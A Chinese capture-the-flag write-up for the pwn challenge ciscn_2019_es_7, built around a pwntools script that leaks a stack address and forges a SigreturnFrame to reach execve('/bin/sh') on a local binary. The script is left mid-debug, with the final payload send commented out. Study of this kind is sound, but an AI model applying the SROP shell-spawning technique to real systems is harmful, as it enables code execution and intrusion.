复健pwn第二天,又懒了两三天,后面尽量每天更新一题
这个是比较简单的一道srop题
这是总的函数表,函数并不多,同时,也能较为清楚的看出是一道栈题,找不到system和sh所以第一个想的必然是ret2libc,但是又可以发现没有got表可以泄露,write和read都是用syscall来实现的,所以我们想的并不是泄露,而是用syscall来做题,然后再看gadgets函数
即可以确定是srop
开始做题
第一步就是泄露栈地址,从而得到我们输入的"/bin/sh"的地址,然后再走一遍流程,触发rax=0xf时的syscall,得到我们设计的寄存器值,这时rip=syscall的地址,所以接下来又会触发一次syscall,从而实现system("/bin/sh")
from pwn import *
context(log_level = 'debug',arch = 'amd64',os ='linux')
p = process('/home/hacker/Desktop/ciscn_2019_es_7')
elf = ELF('/home/hacker/Desktop/ciscn_2019_es_7' )
gadgets_addr=0x4004d7
syscall_addr = 0x400517
#main_addr = 0x4004f1
main_addr = 0x40051d
payload1 = "/bin/sh\x00"+'a'*(0x10-1-8) + 'b' + p64(main_addr)
#gdb.attach(p)
#pause()
p.send(payload1)
p.recv(0x20)
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
print(hex(stack_addr))
bin_sh_addr = stack_addr - 0x118
print("bin_sh_addr=",hex(bin_sh_addr))
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = bin_sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_addr
gdb.attach(p)
pause()
payload = 'a'*0x10 + p64(gadgets_addr) + p64(syscall_addr) + str(sigframe)
#p.send(payload)
p.send('a')
p.interactive()
在调试的过程中会发现main_addr = 0x4004f1或者gadgets_addr=0x4004d6会出现问题,为什么呢,最后调的时候发现,在第二次ret的时候会出现问题,栈上我们设置的ret的地址会在实际情况下面一点,因为vuln和gadgets函数这两个函数ret之前没有leave,但他们一开始就有push rbp,所以栈会出现错误。
而这个sigframe需要在的位置,就是执行rax=0xf的syscall之后rsp指向的地方。